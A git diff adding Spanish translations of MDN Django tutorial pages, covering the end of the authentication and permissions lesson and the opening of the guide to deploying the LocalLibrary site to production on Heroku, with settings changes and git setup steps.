+<p>"Mixin" de permisos requeridos para vistas basadas en clases:</p>
+
+<pre class="brush: python notranslate">from django.contrib.auth.mixins import PermissionRequiredMixin
+
+class MyView(PermissionRequiredMixin, View):
+    permission_required = 'catalog.<code>can_mark_returned</code>'
+    # Or multiple permissions
+    permission_required = ('catalog.<code>can_mark_returned</code>', 'catalog.can_edit')
+    # Note that 'catalog.can_edit' is just an example
+    # the catalog application doesn't have such permission!</pre>
+
+<h3 id="Ejemplo">Ejemplo</h3>
+
+<p>Nosotros no actualizaremos la <em>LocalLibrary</em> aquí; ¡quizás en el siguiente tutorial!</p>
+
+<h2 id="Desafíate_a_ti_mismo">Desafíate a ti mismo</h2>
+
+<p>Anteriormente en este artículo te mostramos cómo crear una página para el usuario actual para listar los libros que había pedido prestado. El desafío ahora es crear una página similar que solamente sea visible para los bibliotecarios, que muestre todos los libros que hayan sido prestados, y que incluya el nombre de cada prestatario.</p>
+
+<p>Deberías ser capaz de seguir el mismo patrón que el de la otra vista. La principal diferencia es que necesitarás restringir la vista a solamente los bibliotecarios. Podrías hacer esto basándote en si es un miembro de los empleados (decorador de función: <code>staff_member_required</code>, variable de plantilla: <code>user.is_staff</code>) pero nosotros te recomendamos que en su lugar uses el permiso <code>can_mark_returned</code> y <code>PermissionRequiredMixin</code>, como se describe en la sección anterior.</p>
+
+<div class="warning">
+<p><strong>Importante</strong>: Recuerda no usar tu súper usuario para pruebas basadas en permisos (la comprobación de permisos siempre devuelve cierto para súper usuarios, ¡incluso si un permiso no ha sido definido todavía!). En su lugar, crea un usuario bibliotecario, y añade entonces la capacidad requerida.</p>
+</div>
+
+<p>Cuando hayas terminado, tu página debería verse algo parecida a la captura de pantalla de abajo.</p>
+
+<p><img alt="All borrowed books, restricted to librarian" src="https://mdn.mozillademos.org/files/14115/library_borrowed_all.png" style="border-style: solid; border-width: 1px; display: block; height: 283px; margin: 0px auto; width: 500px;"></p>
+
+<ul>
+</ul>
+
+<h2 id="Sumario">Sumario</h2>
+
+<p>Excelente trabajo — has creado un sitio web para que los miembros de la biblioteca puedan iniciar sesión y ver su propio contenido, y los bibliotecarios (con el permiso correcto) puedan usarlo para ver todos los libros alquilados y sus prestatarios. En este momento estamos todavía simplemente viendo contenido, pero los mismos principios y técnicas son usados cuando empiezas a modificar y añadir datos.</p>
+
+<p>En nuestro siguiente artículo observaremos cómo puedes usar los formularios de Django para recoger la entrada de datos del usuario, y entonces empezar a modificar algunos de nuestros datos almacenados.</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="https://docs.djangoproject.com/en/1.10/topics/auth/">Autenticación de Usuario en Django</a> (Django docs)</li>
+ <li><a href="https://docs.djangoproject.com/en/1.10/topics/auth/default//">Usando el sistema por defecto de Autenticación de Django</a> (Django docs)</li>
+ <li><a href="https://docs.djangoproject.com/en/1.10/topics/class-based-views/intro/#decorating-class-based-views">Introducción a clases basadas en vistas &gt; Decoradores</a> (Django docs)</li>
+</ul>
+
+<p>{{PreviousMenuNext("Learn/Server-side/Django/Sessions", "Learn/Server-side/Django/Forms", "Learn/Server-side/Django")}}</p>
+
+<h2 id="En_este_módulo">En este módulo</h2>
+
+<ul>
+ <li><a href="/es/docs/Learn/Server-side/Django/Introducción">Introducción a Django</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/development_environment">Configurando un entorno de desarrollo Django</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Tutorial_local_library_website">Tutorial de Django: El sito web de la Biblioteca Local</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/skeleton_website">Tutorial de Django Parte 2: Creando el esqueleto de un sitio web</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Models">Tutorial de Django Parte 3: Usando modelos</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Admin_site">Tutorial de Django Parte 4: Sitio de administración de Django</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Home_page">Tutorial de Django Parte 5: Creando nuestra página de inicio</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Generic_views">Tutorial de Django Parte 6: Listas genéricas y vistas de detalle</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Sessions">Tutorial de Django Parte 7: Framework de sesiones</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Authentication">Tutorial de Django Parte 8: Autenticación de usuarios y permisos</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Forms">Tutorial de Django Parte 9: Trabajando con formularios</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Testing">Tutorial de Django Parte 10: Probando una aplicación web de Django</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Deployment">Tutorial de Django Parte 11: Poniendo Django en producción</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/web_application_security">Seguridad en aplicaciones web Django</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/django_assessment_blog">DIY Django mini blog</a></li>
+</ul>
+
+<div id="gtx-trans" style="position: absolute; left: 170px; top: 8184.58px;">
+<div class="gtx-trans-icon"></div>
+</div>
diff --git a/files/es/learn/server-side/django/deployment/index.html b/files/es/learn/server-side/django/deployment/index.html
new file mode 100644
index 0000000000..ddcb7f5c4e
--- /dev/null
+++ b/files/es/learn/server-side/django/deployment/index.html
@@ -0,0 +1,672 @@
+---
+title: 'Tutorial de Django Parte 11: Desplegando Django a producción'
+slug: Learn/Server-side/Django/Deployment
+translation_of: Learn/Server-side/Django/Deployment
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/Server-side/Django/Testing", "Learn/Server-side/Django/web_application_security", "Learn/Server-side/Django")}}</div>
+
+<p class="summary">Ahora que has creado (y probado) un fantastico sitio web para la <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">Biblioteca Local</a>, querrás instalarlo en un servidor web público de manera que pueda ser accedido por el personal y los miembros de la biblioteca a través de Internet. Este artículo proporciona una visión general de cómo buscar un host para desplegar tu sitio web y de lo que necesitas hacer para conseguir que tu sitio esté listo en producción.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Requisitos previos:</th>
+   <td>Completar todos los tutoriales de los temas previos, incluyendo <a href="/en-US/docs/Learn/Server-side/Django/Testing">Django Tutorial Part 10: Testing a Django web application</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>Aprender ¿cómo? y ¿dónde? puedes puedes desplegar una app de Django en producción.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Introducción">Introducción</h2>
+
+<p>Una vez que tu sitio este terminado (o lo suficientemente terminado como para iniciar una prueba pública) vas a necesitar alojarla en un lugar más público y accesible que tu computadora personal.</p>
+
+<p>Hasta ahora has estado trabajando en un entorno de desarrollo, usando <em>Django development web server </em>para compartir tu sitio con el navegador/red local, y corriendo tu sitio web con configuraciones (inseguras) de desarrollo que exponen la depuración y otra informacion privada. Antes de que puedas alojar tu sitio web externamente, lo primero que tendrás que hacer es:</p>
+
+<ul>
+ <li>Introducir algunos cambios en las configuraciones del proyecto.</li>
+ <li>Elegir un entorno para alojar la aplicacion Django.</li>
+ <li>Elegir un entorno para alojar cualquier archivo estático.</li>
+ <li>Configurar una infraestructura a nivel producción para servir tu sitio web.</li>
+</ul>
+
+<p>Este tutorial provee una guía de opciones para elegir un sitio de alojamiento, una breve descripción general de lo que necesitas hacer para preparar tu aplicación Django en producción, y un ejemplo práctico de cómo instalar el sitio web de LocalLibrary en el servicio de alojamiento en la nube de <a href="https://www.heroku.com/">Heroku</a>.</p>
+
+<h2 id="¿Qué_es_un_entorno_de_producción">¿Qué es un entorno de producción?</h2>
+
+<p>El entorno de producción es el entorno proporcionado por el servidor en el que correrá su sitio web para uso externo. El entorno incluye:</p>
+
+<ul>
+ <li>Equipos en los que el sitio web correrá.</li>
+ <li>Sistema operativo (p.e. Linux, Windows).</li>
+ <li>Lenguajes de programación y librerías sobre las que su sitio web está escrito.</li>
+ <li>Servidor web empleado para servir páginas y otros contenidos (p.e. Nginx, Apache).</li>
+ <li>Servidor de aplicaciones que transmite peticiones "dinámicas" entre su sitio web Django y el servidor web.</li>
+ <li>Bases de datos que su sitio web necesita.</li>
+</ul>
+
+<div class="note">
+<p><strong>Nota</strong>: Dependiendo de como esté configurado su entorno de producción, usted podría disponer también de un proxy inverso, balanceador de carga, etc.</p>
+</div>
+
+<p>El servidor podría estar ubicado en sus propias instalaciones y conectado a Internet a través de un enlace rápido, pero lo más común es utilizar un computador alojado "en la nube". Esto en realidad implica que su código es ejecutado en algún computador remoto (o posiblemente un computador "virtual") en el centro (o centros) de datos de su compañía de servicios de <em>hosting.</em> El servidor remoto normalmente ofrecerá un determinado nivel garantizado de recursos de computación (es decir, CPU, RAM, memoria de almacenamiento, etc) y de conectividad a Internet por un cierto precio.</p>
+
+<p>A este tipo de hardware de computación/comunicaciones accesible de forma remota se le denomina <em>Infrastructure as a Service </em>o<em> Infraestructura como Servicio (IaaS)</em>. Muchos proveedores de IaaS ofrecen la opción de preinstalar un sistema operativo en particular, sobre el cual se debe instalar el resto de componentes de su entorno de producción. Otros permiten seleccionar entornos plenamente configurados, con incluso configuraciones de Django y servidor web establecidas.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Los entornos pre-construidos le permiten establecer su sitio web de manera muy sencilla, ya que reducen el trabajo de configuración, pero las opciones disponibles podrían limitarle al uso de un servidor (u otros componentes) poco conocido, o podrían estar basados en versiones antiguas del Sistema Operativo. A menudo es preferible que uno mismo instale sus propios componentes, de manera que disponga de los que desee, y en el momento que necesite subir el nivel de prestaciones de alguna parte del sistema, tener cierta idea de por dónde empezar</p>
+</div>
+
+<p>Otros proveedores de <em>hosting</em> incluyen Django como parte de una <em>Plataform as a Service </em>o<em> Plataforma como Servicio (PaaS)</em>. En este tipo de <em>hosting</em> no necesita preocuparse de la mayor parte del entorno de producción (servidor web, servidor de aplicaciones, balanceadores de carga), dado que la plataforma host ya se ocupa de todo ello por usted (así como de casi todo lo necesario para escalar su aplicación). Esto hace el despliegue bastante sencillo, puesto que ya solo necesita concentrarse en su aplicación web y no en el resto de la infraestructura de servidor.</p>
+
+<p>Algunos desarrolladores elegirán la mayor flexibilidad ofrecida por una IaaS frente a una PaaS, mientras que otros valorarán el reducido coste general de mantenimiento y la mayor facilidad de escalado de PaaS. Cuando se está empezando, la instalación del sitio web en un sistema PaaS es mucho más sencilla, así que eso es lo que haremos en este tutorial. </p>
+
+<div class="note">
+<p><strong>Consejo:</strong> Si eliges un proveedor de hosting adaptado a Python/Django, éste debería facilitar instrucciones de cómo instalar un sitio web Django usando diferentes configuraciones de servidor web, servidor de aplicaciones, proxy inverso, etc (esto es irrelevante si eliges una PaaS). Por ejemplo, existen muchas guías paso-a-paso para distintas configuraciones en la <a href="https://www.digitalocean.com/community/tutorials?q=django">Digital Ocean Django community docs</a>.</p>
+</div>
+
+<h2 id="Eligiendo_un_proveedor_de_hosting">Eligiendo un proveedor de hosting</h2>
+
+<p>Existen más de 100 proveedores de hosting de los que se sabe que, o bien dan soporte activo, o funcionan bien con Django (puedes encontrar una lista bastante extensa en <a href="http://djangofriendly.com/hosts/">Djangofriendly hosts</a>). Estos proveedores proporcionan diferentes tipos de entornos (IaaS, PaaS), así como diferentes niveles de recursos de computación y comunicaciones a diferentes precios.</p>
+
+<p>Algunos aspectos a considerar al elegir un host son:</p>
+
+<ul>
+ <li>Una estimación de cómo de ocupado va a estar el sitio y el coste de los recursos de datos y computación requeridos para atender esa demanda.</li>
+ <li>Nivel de soporte para el escalado tanto horizontal (añadir más máquinas) como vertical (subir de nivel con máquinas más potentes), y el coste que ello supone.</li>
+ <li>Dónde están ubicados los centros de datos de los proveedores y, por consiguientte, a cuáles será probablemente más rápido el acceso.</li>
+ <li>Los históricos de permanencia en actividad e inactividad del host.</li>
+ <li>Herramientas proporcionadas para la gestión del sitio  — si son fáciles de usar y si son seguras (Por ejemplo, SFTP frente a FTP). </li>
+ <li>Frameworks incorporadas para poder monitorear tu servidor.</li>
+ <li>Limitaciones conocidas. Algunos hosts bloquearán deliberadamente ciertos servicios (por ejemplo, email). Otros ofrecerán solo un cierto número de horas de "tiempo vivo" en determinados niveles de precios, u ofrecerán solo una pequeña cantidad de almacenamiento.</li>
+ <li>Beneficios adicionales. Algunos proveedores pueden ofrecer de forma gratuita nombres de dominio y soporte para certificados SSL por los que, de otro modo, tendrías que pagar.</li>
+ <li>Si el nivel "gratuito" del que dependes expira al cabo de un tiempo, o si el coste de migrar a un nivel más caro puede implicar que sea más conveniente usar algún otro servicio desde el primer momento.</li>
+</ul>
+
+<p>La buena noticia cuando estás en los comienzos es que existen bastantes sitios que proporcionan entornos de computación de "evaluación", "desarrollo" o "de nivel aficionado" de forma gratuita. Se trata siempre de entornos bastantes limitados/restringidos en recursos, y debes estar precavido en que pueden expirar al cabo de un periodo de introducción. Son, no obstante, muy útiles para probar sitios con poco tráfico en un entorno real, y pueden proporcionar una migración sencilla contratando más recursos si el sitio alcanza más ocupación. Entre las opciones conocidas de esta categoría tenemos <a href="https://www.heroku.com/">Heroku</a>, <a href="https://www.pythonanywhere.com/">Python Anywhere</a>, <a href="http://docs.aws.amazon.com/awsaccountbilling/latest/aboutv2/billing-free-tier.html">Amazon Web Services</a>, <a href="https://azure.microsoft.com/en-us/pricing/details/app-service/">Microsoft Azure</a>, etc. </p>
+
+<p>Muchos proveedores disponen también de un nivel "básico" que proporciona niveles de capacidad de computación más útiles y con menos limitaciones. <a href="https://www.digitalocean.com/">Digital Ocean</a> y <a href="https://www.pythonanywhere.com/">Python Anywhere</a> son ejemplos de proveedores populares de hosting que ofrecen niveles básicos de computación relativamente baratos (en el rango de los 5 a los 10 $USD mensuales).</p>
+
+<div class="note">
+<p><strong>Nota:</strong>  Recuerda que el precio no es el único criterio de selección. Si tu sitio web tiene éxito, la escalabilidad puede convertirse en la consideración más importante.</p>
+</div>
+
+<h2 id="Preparando_tu_sitio_web_para_hacerlo_público">Preparando tu sitio web para hacerlo público</h2>
+
+<p>La <a href="/en-US/docs/Learn/Server-side/Django/skeleton_website">Django skeleton website</a> creada usando las herramientas <em>django-admin </em>y <em>manage.py</em> están configuradas para hacer más sencillo el desarrollo. Muchos de los ajustes del proyecto Django (especificados en <strong>settings.py</strong>) deberían ser distintos en producción, por razones tanto de seguridad como de rendimiento.</p>
+
+<div class="note">
+<p><strong>Consejo:</strong> Es bastante común disponer de un archivo <strong>settings.py</strong> separado en producción, e importar los ajustes sensibles desde un archivo aparte o desde una variable de entorno. Este archivo debería, por tanto, estar protegido, aún cuando el resto del código fuente esté disponible en un repositorio público.</p>
+</div>
+
+<p>Los ajustes críticos que debes comprobar son:</p>
+
+<ul>
+ <li><code>DEBUG</code>. Debería establecerse como <code>False</code> en producción (<code>DEBUG = False</code>). Así se evita que se muestre la traza de depuración sensible/confidencial y la información variable.</li>
+ <li><code>SECRET_KEY</code>. Es un valor aleatorio grande utilizado para la protección CRSF etc. Es importante que la clave utilizada en producción no esté en el control fuente ni accesible desde fuera del servidor de producción. La documentación Django sugiere que debería ser cargada desde una variable de entorno o leída desde un archivo de sólo servicio (<em>serve-only file</em>).</li>
+ <li>
+  <pre class="notranslate"># Read SECRET_KEY from an environment variable
+import os
+SECRET_KEY = os.environ['SECRET_KEY']
+
+#OR
+
+#Read secret key from a file
+with open('/etc/secret_key.txt') as f:
+    SECRET_KEY = f.read().strip()</pre>
+ </li>
+</ul>
+
+<p>Modifiquemos la aplicación <em>LocalLibrary</em> de manera que leamos nuestras variables <code>SECRET_KEY</code> y <code>DEBUG</code> desde variables de entorno si han sido definidas o, en otro caso, usar los valores por defecto del archivo de configuración.</p>
+
+<p><span>Abra </span><strong>/locallibrary/settings.py</strong><span>, deshabilite la configuración original de l </span><code>SECRET_KEY</code><span> y añada las nuevas líneas tal como se muestran abajo en <strong>negrita</strong>. Durante el desarrollo no se especificará ninguna variable de entorno para la clave, por lo que se usará el valor por defecto (no debería importar qué clave utilizas aquí, o si la clave tiene "fugas", dado que no la utilizarás en producción).</span></p>
+
+<pre class="brush: python notranslate"># SECURITY WARNING: keep the secret key used in production secret!
+# SECRET_KEY = 'cg#p$g+j9tax!#a3cup@1$8obt2_+&amp;k3q+pmu)5%asj6yjpkag'
+<strong>import os</strong>
+<strong>SECRET_KEY = os.environ.get('DJANGO_SECRET_KEY', 'cg#p$g+j9tax!#a3cup@1$8obt2_+&amp;k3q+pmu)5%asj6yjpkag')</strong>
+</pre>
+
+<p>A continuación, comenta el ajuste de <code>DEBUG</code> existente y añade la nueva línea que se muestra abajo.</p>
+
+<pre class="brush: python notranslate"># SECURITY WARNING: don't run with debug turned on in production!
+# DEBUG = True
+<strong>DEBUG = bool( os.environ.get('DJANGO_DEBUG', True) )</strong>
+</pre>
+
+<p>El valor de <code>DEBUG</code> será <code>True</code> por defecto, pero será <code>False</code> si el valor de la variable de entorno <code>DJANGO_DEBUG</code> se establece como una cadena vacía, es decir, <code>DJANGO_DEBUG=''</code>.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Sería más intuitivo si pudiéramos simplemente marcar y desmarcar la variable de entorno <code>DJANGO_DEBUG</code> a <code>True</code> y <code>False</code> directamente, en lugar de usar "cualquier cadena" o "cadena vacía" (respectivamente). Por desgracia, los valores de las variables de entorno son almacenados como cadenas de Python (<em>Python strings</em>), y la única cadena que se evalúa como <code>False</code> es la cadena vacía (por ejemplo, <code>bool('')==False</code>).</p>
+</div>
+
+<p><a href="https://docs.djangoproject.com/en/1.10/howto/deployment/checklist/">Deployment checklist</a> (Django docs) proporciona una lista de comprobación completa de ajustes que podrías querer cambiar. Puedes también sacar una lista de algunos de ellos usando el siguiente comando de terminal:</p>
+
+<pre class="brush: python notranslate">python3 manage.py check --deploy
+</pre>
+
+<h2 id="Ejemplo_Instalando_LocalLibrary_en_Heroku">Ejemplo: Instalando LocalLibrary en Heroku</h2>
+
+<p>Esta sección aborda una demostración práctica de cómo instalar <em>LocalLibrary</em> en <a href="http://heroku.com">Heroku PaaS cloud</a>.</p>
+
+<h3 id="¿Por_qué_Heroku">¿Por qué Heroku?</h3>
+
+<p>Heroku es uno de los servicios PaaS basados en la nube más duraderos y conocidos. Originalmente únicamente daba soporte a aplicaciones Ruby, pero actualmente puede utilizarse para aplicaciones host de muchos entornos de programación, incluido Django!</p>
+
+<p>Vamos a elegir Heroku por varias razones:</p>
+
+<ul>
+ <li>Heroku tiene un nivel gratuito (<a href="https://www.heroku.com/pricing">free tier</a>) que es <em>verdaderamente</em> gratuito (aunque con algunas limitaciones).</li>
+ <li>Como PaaS, Heroku se hace cargo de gran parte de la infraestructura web por nosotros. Esto hace mucho más sencillos los comienzos, al no tener que preocuparnos por servidores, balanceadores de carga, proxys inversos, o cualquier otro aspecto de la infraestructura web, de los que Heroku se ocupa por nosotros en un segundo plano.</li>
+ <li>Aunque tenga algunas limitaciones, éstas no afectarán a nuestra aplicación particular. Por ejemplo:
+  <ul>
+   <li>Heroku sólo proporciona almacenamiento efímero, por lo que los archivos subidos por el usuario no pueden almacenarse de forma segura en el propio Heroku.</li>
+   <li>El nivel gratuito mantendrá dormida cualquier aplicación web inactiva que no haya tenido requerimientos dentro de un periodo de media hora. El sitio puede tardar varios segundos en responder cuando se le despierte.</li>
+   <li>El nivel gratuito limita el tiempo que el sitio puede estar en ejecución a cierta cantidad de horas al mes (sin contar el tiempo que el sitio permanece "dormido"). Esto está bien para un sitio de poco uso o de demostración, pero no es asumible si se necesita una disponibilidad del 100%. </li>
+   <li>Otras limitaciones se relacionan en <a href="https://devcenter.heroku.com/articles/limits">Limits</a> (Heroku docs).</li>
+  </ul>
+ </li>
+ <li>Lo principal es que funciona, y si te termina gustando, escalar tus aplicaciones será muy sencillo.</li>
+</ul>
+
+<p>Si bien Heroku es perfecto para alojar esta demostración, puede no serlo para tu sitio web real. Heroku facilita la instalación y el escalado, a costa de ser menos flexible, y potencialmente mucho más caro una vez que abandonas el nivel gratuito.</p>
+
+<h3 id="¿Cómo_funciona_Heroku">¿Cómo funciona Heroku?</h3>
+
+<p>Heroku ejecuta sitios web Django dentro de uno o más "<a href="https://devcenter.heroku.com/articles/dynos">Dynos</a>", que son contenedores Unix virtualizados y aislados que proporcionan el entorno necesario para ejecutar una aplicación. Los dynos están completamente aislados y disponen de un sistema de archivos <em>efímero</em> (sistema de archivos de vida corta que es limpiado/vaciado cada vez que el dyno se reinicia). Lo único que los dynos comparten por defecto son las variables de configuración (<a href="https://devcenter.heroku.com/articles/config-vars">configuration variables</a>) de las aplicaciones. Heroku utiliza interrnamente un balanceador de carga para distribuir el tráfico web entre todas las dynos "web". Puesto que no se comparte nada entre ellas, Heroku puede escalar una app horizontalmente simplemente añadiendo más dynos (aunque, claro está, podrías necesitar escalar tu base de datos para aceptar conexiones adicionales).</p>
+
+<p>Puesto que el sistema de archivos es efímero, no puedes instalar los servicios requeridos por tu aplicación directamente (por ejemplo, bases de datos, colas, sistemas de cacheado, almacenamiento, servicios de correo electrónico, etc). En su lugar, las aplicaciones web de Heroku usan servicios de respaldo proporcionados por Heroku o terceros como "add-ons" independientes. Una vez adjuntados a tu aplicación web, los dynos acceden a los servicios usando la información contenida en las variables de configuración de la aplicación.</p>
+
+<p>Para ejecutar tu aplicación, Heroku necesita poder instalar el entorno y las dependencias adecuados, y entender cómo están enlazados. Para las apps Django, esta información se proporciona en una serie de archivos de texto:</p>
+
+<ul>
+ <li><strong>runtime.txt</strong>:<strong> </strong>el lenguaje de programación y la versión a utilizar.</li>
+ <li><strong>requirements.txt</strong>: dependiencias de los componentes de Python, incluyendo a Django.</li>
+ <li><strong>Procfile</strong>: Lista de procesos que han de ejecutarse para arrancar la aplicación web. Para Django, esto será normalmente el servidor de aplicaciones web Gunicorn (con un script .wsgi).</li>
+ <li><strong>wsgi.py</strong>: Configuración <a href="http://wsgi.readthedocs.io/en/latest/what.html">WSGI</a> para invocar a nuestra aplicación Django en el entorno Heroku.</li>
+</ul>
+
+<p>Los desarrolladores interactúan con Heroku usando una app/terminal cliente especial, algo muy parecido a un bash script de Unix. Esto permite subir código almacenado en un repositorio git, inspeccionar los procesos en ejecución, ver logs, establecer variables de configuración, y mucho más!.</p>
+
+<p>Para conseguir nuestra aplicación para trabajar en Heroku, necesitaremos colocar nuestra aplicación web Django dentro de un repositorio git, añadir los archivos anteriores, integrar con una base de datos add-on, y hacer cambios para manejar correctamente los archivos estáticos.</p>
+
+<p>Una vez hecho todo eso, podemos crear una cuenta Heroku, obtener el cliente Heroku, y usarlo para instalar nuestro sitio web.</p>
+
+<div class="note">
+<p><strong>Nota: </strong>Las instrucciones indicadas abajo reflejan la forma de trabajar con Heroku en el momento de la redacción. Si Heroku cambia sus procesos de forma significativa, podrías preferir, en su lugar, revisar su documentación de instalación: <a href="https://devcenter.heroku.com/articles/getting-started-with-python#introduction">Getting Started on Heroku with Django</a>.</p>
+</div>
+
+<p>Con esto ya tienes una visión general de lo que necesitas para empezar (vea <a href="https://devcenter.heroku.com/articles/how-heroku-works">How Heroku works</a> para tener una guía más exhaustiva).</p>
+
+<h3 id="Creando_un_repositorio_de_aplicación_en_Github">Creando un repositorio de aplicación en Github</h3>
+
+<p>Heroku está estrechamente integrado con el sistema de control de versiones de código fuente <strong>git</strong>, usándolo para subir/sincronizar cualquier cambio que hagas en los sistemas activos. Esto se hace añadiendo un nuevo repositorio "remoto" heroku denominado <em>heroku</em> que apunta a un repositorio para tu fuente en la nube Heroku. Durante el desarrollo usas git para almacenar los cambios en tu repositorio "maestro". Cuando quieras desplegar tu sitio, sincronizas tus cambios con el repositorio Heroku.</p>
+
+<div class="note">
+<p><strong>Nota:</strong> Si estás acostumbrado a seguir buenas prácticas de desarrollo de software, probablemente ya estás usando git o algún otro sistema SCM. Si ya dispones de un repositorio git, podrás saltarte este paso.</p>
+</div>
+
+<p>Existen muchas formas de trabajar con git, pero una de las más sencillas es crear en primer lugar una cuenta en <a href="https://github.com/">Github</a>, crear allí el repositorio, y a continuación sincronizarlo localmente:</p>
+
+<ol>
+ <li>Visita <a href="https://github.com/">https://github.com/</a> y crea una cuenta.</li>
+ <li>Una vez conectado, haz click en el enlace  <strong>+</strong> de la barra de tareas superior y selecciona <strong>New repository</strong>.</li>
+ <li>Rellena todos los campos de este formulario. Aunque no son obligatorios, es muy recomendable que los rellenes todos.
+  <ul>
+   <li>Introduce el nombre del nuevo repositorio (por ejemplo, <em>django_local_library</em>), y una descripción (por ejemplo "Sitio web de la Biblioteca Local escrita en Django").</li>
+   <li>Selecciona <strong>Python</strong> en la lista de selección <em>Add .gitignore.</em></li>
+   <li>Selecciona tu licencia en la lista de selección <em>Add license</em>.</li>
+   <li>Marca <strong>Initialize this repository with a README</strong>.</li>
+  </ul>
+ </li>
+ <li>Pulsa <strong>Create repository</strong>.</li>
+ <li>Haz click en el botón verde "<strong>Clone or download</strong>" en la página de tu nuevo repositorio.</li>
+ <li>Copia el valor de la URL del campo de texto situado dentro de la caja de diálogo que aparece (debería decir algo como: <strong>https://github.com/<em>&lt;your_git_user_id&gt;</em>/django_local_library.git</strong>).</li>
+</ol>
+
+<p>Ahora que el repositorio ("repo") ha sido creado, querremos clonarlo en nuestra computadora local:</p>
+
+<ol>
+ <li>Instala <em>git</em> para tu computadora local (puedes encontrar versiones para distintas plataformas <a href="https://git-scm.com/downloads">here</a>).</li>
+ <li>Abre una ventana/terminal de comandos y clona tu repositorio usando la URL que copiaste anteriormente:
+  <pre class="brush: bash notranslate">git clone https://github.com/<strong><em>&lt;your_git_user_id&gt;</em></strong>/django_local_library.git
+</pre>
+  Esto creará el repositorio debajo del punto actual.</li>
+ <li>Navega dentro del nuevo repositorio.
+  <pre class="brush: bash notranslate">cd django_local_library.git</pre>
+ </li>
+</ol>
+
+<p>El paso final es copiar en él tu aplicación y a continuación añadir los archivos a tu repositorio usando git:</p>
+
+<ol>
+ <li>Copia tu aplicación Django en esta carpeta (todos los archivos que estén al mismo nivel que <strong>manage.py</strong> y por debajo, <strong>no</strong> su carpeta locallibrary contenedora). </li>
+ <li>Abre el archivo <strong>.gitignore</strong>, copia las siguientes líneas al final del mismo, y guárdalo (este archivo se utiliza para identificar los archivos que, por defecto, no deberían subirse a git).
+  <pre class="notranslate"># Text backup files
+*.bak
+
+#Database
+*.sqlite3</pre>
+ </li>
+ <li>Abre una ventana/terminal de comandos y utiliza el comando <code>add</code> para añadir todos los archivos a git.
+  <pre class="brush: bash notranslate">git add -A
+</pre>
+ </li>
+ <li>Utiliza el comando status para comprobar que todos los archivos que vas a añadir son correctos (quieres incluir ficheros fuentes, no binarios, archivos temporales, etc). Debería tener un aspecto similar a la lista siguiente.
+  <pre class="notranslate">&gt; git status
+On branch master
+Your branch is up-to-date with 'origin/master'.
+Changes to be committed:
+  (use "git reset HEAD &lt;file&gt;..." to unstage)
+
+        modified:   .gitignore
+        new file:   catalog/__init__.py
+        ...
+        new file:   catalog/migrations/0001_initial.py
+        ...
+        new file:   templates/registration/password_reset_form.html</pre>
+ </li>
+ <li>Si estás conforme, consolida tus archivos en el repositorio local:
+  <pre class="brush: bash notranslate">git commit -m "First version of application moved into github"</pre>
+ </li>
+ <li>A continuación, sincroniza tu repositorio local con el sitio web Github, usando lo siguiente:
+  <pre class="notranslate">git push origin master</pre>
+ </li>
+</ol>
+
+<p>Una vez completada esta operación, deberías poder regresar a la página de Github donde creaste tu repositorio, refrescar la página, y comprobar que tu toda tu aplicación ha sido ya cargada. Puedes continuar actualizando tu repositorio según vayan cambiando los archivos, usando este ciclo add/commit/push.</p>
+
+<div class="note">
+<p><strong>Consejo:</strong> Este es un buen momento para hacer una copia de seguridad de tu proyecto "simple" — algunos de los cambios que vamos a ir haciendo en las siguientes secciones podrían ser útiles para el despliegue en cualquier plataforma (o para el desarrollo), pero otros no.</p>
+
+<p>La <em>mejor </em>manera de hacer esto es usar <em>git</em> para gestionar tus revisiones. Con <em>git</em> puedes no solo volver a una versión anterior en particular, sino que puedes mantener ésta en una "rama" separada de tus cambios en producción, y seleccionar determinados cambios a trasladar entre las ramas de producción y desarrollo. <a href="https://help.github.com/articles/good-resources-for-learning-git-and-github/">Learning Git</a> merece la pena el esfuerzo, pero queda fuera del alcance de este tema.</p>
+
+<p>La forma <em>más fácil </em>de hacer ésto es simplemente copiar tus archivos en otra ubicación. Usa la manera que más se ajuste a tus conocimientos de git!</p>
+</div>
+
+<h3 id="Actualizar_la_app_para_Heroku">Actualizar la app para Heroku</h3>
+
+<p>Esta sección explica los cambios que necesitaras hacer a nuestra aplicación <em>LocalLibrary</em> para ponerla a funcionar en Heroku. Mientras que las instrucciones disponibles en <a href="https://devcenter.heroku.com/articles/getting-started-with-python#introduction">Getting Started on Heroku with Django</a> de Heroku asumen que también vas a utilizar el cliente Heroku para ejecutar el entorno de desarrollo local, los cambios que aquí se reflejan son compatibles con el servidor de desarrollo Django existente y las formas de funcionamiento que ya hemos aprendido.</p>
+
+<h4 id="Procfile">Procfile</h4>
+
+<p>Crea el archivo <code>Procfile</code> (sin extensión) en la carpeta raíz de tu repositorio GitHub para declarar los tipos de procesos de la aplicación y los puntos de entrada. Copia en él el texto siguiente:</p>
+
+<pre class="notranslate">web: gunicorn locallibrary.wsgi --log-file -</pre>
+
